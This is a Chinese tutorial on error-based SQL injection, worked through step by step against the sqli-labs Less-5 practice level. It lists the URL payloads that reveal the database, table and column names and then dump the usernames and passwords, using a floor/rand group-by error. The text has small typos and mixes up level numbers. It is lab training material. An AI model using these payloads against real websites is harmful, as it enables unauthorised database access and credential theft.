1、使用报错型注入的条件
1):在数据查询时,网页没有查询输出的结果;但当输入错误时,网页上有输入错误的提示(其实就是在信息与数据库进行交互后,输入错误的信息时,网页会显示出来。)
2):其在网页上的具体情况,和解决的办法。
由于在输入正确时,其显示的结果不变。
故只能尝试在输入错误时,其显示会进行提示这一点进行交互。
方法:在输入正确时,没有数据的显示,也就是说即使构造语句成功我们也没有办法看到数据的显示。但如果SQL语句输入错误时,则可以显示在页面上,我们可以利用这点来构造报错显示SQL数据的语句。
2、报错型注入的操作步骤
其与联合查询法的操作步骤基本上是一样的,但在语句上会有明显的差距。
步骤:进行闭合方式的猜测、用二分法进行列数的查找、观察显示位、查询数据库的名称、查询表的名称、查找列的名称、查找数据
3、报错型注入基于Metasploitable2-Linux的Less-5关卡进行测试(这个构造数据只能一个一个爆出来,通过limit函数控制)
1):猜测闭合方式
语句:/?id=1’ and 1=1 –+
可以得到结果:其Less-2关卡的闭合方式是单引号。
2):用二分法进行列数的查询
语句:/?id=1’ order by () –+
可以得到结果,其Less-2关卡的列数有3列。
3):观察显示位
语句:/?id=1’ or 1 group by concat_ws(0x3a,version(),floor(ran(0)*2)) having min(0) or 1 –+
其利用group by函数和floor函数在配合是出现问题,从而使其输出正确的结果。
注:group by函数:是对数据进行分组,一般与聚合函数一起使用,对分组后的数据进行聚合。
Floor()函数:其功能是‘下取整’,就是取不大于括号里的数的最大整数。
0x3a —-这个是分隔符 VERSION–版本号
concat_ws()函数:将有分隔符的字符串连接起来
在图中,可以得到其结果,表明其有效输出位是CONCAT_WS(VERSION()) 我们就可以替换有效输出位(user(),database()等)
4)查找库名
语句:/?id=1’ or 1 group by concat_ws(0x3a,database(),floor(ran(0)*2)) having min(0) or 1 –+
故,可以得到Less-5关卡的库名为security
5)查找表的名字
语句:/?id=1’ and (select 1 from (select count(*), concat((select(select concat(cast(group_concat(table_name) as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)
2))x from information_schema.tables group by x)a) –+
注:此语句是由count(
) 和floor(rand(0)*2)应发的错误,从而爆出正确输出
此语句中,table_name是需要查询的名称(可以更换)、0x7e为~的源码、information_schema.tables是数据库存表名的一张表(可以更换)
在图中,选择一个表名users
6)查询列的名称
语句:/?id=1’ and (select 1 from (select count(*), concat((select(select concat(cast(group_concat(column_name) as char),0x7e)) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) –+
如图所示,得到列名(id、username、password)
7)进行数据的查找
语句:/?id=1’ and (select 1 from (select count(*), concat((select(select concat_ws(0x3e,id,username,password)) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) –+
可以,用limit函数进行控制,来查询其他的数据。